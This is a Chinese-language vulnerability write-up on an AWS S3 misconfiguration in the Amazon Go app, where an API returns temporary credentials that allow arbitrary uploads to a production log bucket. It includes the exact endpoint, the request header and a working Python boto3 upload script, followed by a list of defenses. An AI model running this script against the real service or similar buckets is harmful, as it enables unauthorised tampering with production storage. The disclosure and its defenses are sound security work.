利用Amazon AWS的配置失误在Amazon Go中上传任意文件
字数 906 2025-08-29 08:32:24

Amazon AWS S3存储桶配置错误漏洞分析与利用教学

漏洞背景

Amazon Go是亚马逊推出的无人零售商店,使用AWS S3服务存储数据。研究人员发现其移动应用中存在AWS S3存储桶配置错误,允许未经认证的用户上传任意文件。

漏洞原理

Amazon Go移动应用在请求getUploadCredentialsV2 API时,会返回临时的AWS凭证(accessKeyId、secretAccessKey、sessionToken),这些凭证具有向特定S3存储桶(ihm-device-logs-prod)上传文件的权限。

漏洞发现过程

1. 流量拦截与分析

使用BurpSuite拦截移动应用流量,发现关键请求返回包含AWS凭证的JSON响应:

{
  "accessKey": "...",
  "secretKey": "...",
  "sessionToken": "...",
  "url": "...",
  "timeout": 1500
}

2. 静态代码分析

使用JADX工具反编译APK文件,分析关键类:

  • com.amazon.ihmfence.coral.IhmFenceService.getUploadCredentialsV2
  • LoggingUploadService类包含S3存储桶名称ihm-device-logs-prod

3. 权限测试

通过Python脚本测试返回的AWS凭证权限,确认可以上传文件到S3存储桶。

漏洞利用步骤

1. 获取临时凭证

发送POST请求到https://mccs.amazon.com/ihmfence,头部包含:

X-Amz-Target: com.amazon.ihmfence.coral.IhmFenceService.getUploadCredentialsV2

2. 使用Python脚本上传文件

#!/usr/bin/env python
import json, boto3, requests

# 获取凭证
response = requests.post(
    'https://mccs.amazon.com/ihmfence',
    headers={
        'X-Amz-Target': 'com.amazon.ihmfence.coral.IhmFenceService.getUploadCredentialsV2',
        # 其他必要头部
    },
    data='{}'
)

# 解析响应
obj = response.json()
access_key = obj['accessKey']
secret_key = obj['secretKey']
session_token = obj['sessionToken']

# 创建S3客户端
s3 = boto3.resource(
    's3',
    aws_access_key_id=access_key,
    aws_secret_access_key=secret_key,
    aws_session_token=session_token,
    region_name='us-west-2'
)

# 上传文件
s3.meta.client.upload_file('./test.txt', 'ihm-device-logs-prod', 'test.txt')

漏洞影响

  1. 存储空间滥用:攻击者可上传大量文件耗尽存储空间,增加成本
  2. 恶意文件注入:可能通过修改日志文件实现数据污染或恶意代码执行
  3. 数据完整性破坏:干扰正常日志收集和分析

防御措施

  1. 最小权限原则:临时凭证应仅授予必要的最小权限
  2. 存储桶策略:配置S3存储桶仅允许特定前缀或条件的上传
  3. 凭证有效期:缩短临时凭证的有效期
  4. 输入验证:对上传的文件进行内容检查和验证
  5. 监控机制:设置S3存储桶的异常上传告警

总结

该漏洞展示了AWS配置错误可能带来的安全风险,特别是在临时凭证权限过大时。开发人员应严格遵循最小权限原则,并定期进行安全审计和渗透测试,确保云资源配置的安全性。

Amazon AWS S3存储桶配置错误漏洞分析与利用教学 漏洞背景 Amazon Go是亚马逊推出的无人零售商店,使用AWS S3服务存储数据。研究人员发现其移动应用中存在AWS S3存储桶配置错误,允许未经认证的用户上传任意文件。 漏洞原理 Amazon Go移动应用在请求 getUploadCredentialsV2 API时,会返回临时的AWS凭证(accessKeyId、secretAccessKey、sessionToken),这些凭证具有向特定S3存储桶( ihm-device-logs-prod )上传文件的权限。 漏洞发现过程 1. 流量拦截与分析 使用BurpSuite拦截移动应用流量,发现关键请求返回包含AWS凭证的JSON响应: 2. 静态代码分析 使用JADX工具反编译APK文件,分析关键类: com.amazon.ihmfence.coral.IhmFenceService.getUploadCredentialsV2 LoggingUploadService 类包含S3存储桶名称 ihm-device-logs-prod 3. 权限测试 通过Python脚本测试返回的AWS凭证权限,确认可以上传文件到S3存储桶。 漏洞利用步骤 1. 获取临时凭证 发送POST请求到 https://mccs.amazon.com/ihmfence ,头部包含: 2. 使用Python脚本上传文件 漏洞影响 存储空间滥用 :攻击者可上传大量文件耗尽存储空间,增加成本 恶意文件注入 :可能通过修改日志文件实现数据污染或恶意代码执行 数据完整性破坏 :干扰正常日志收集和分析 防御措施 最小权限原则 :临时凭证应仅授予必要的最小权限 存储桶策略 :配置S3存储桶仅允许特定前缀或条件的上传 凭证有效期 :缩短临时凭证的有效期 输入验证 :对上传的文件进行内容检查和验证 监控机制 :设置S3存储桶的异常上传告警 总结 该漏洞展示了AWS配置错误可能带来的安全风险,特别是在临时凭证权限过大时。开发人员应严格遵循最小权限原则,并定期进行安全审计和渗透测试,确保云资源配置的安全性。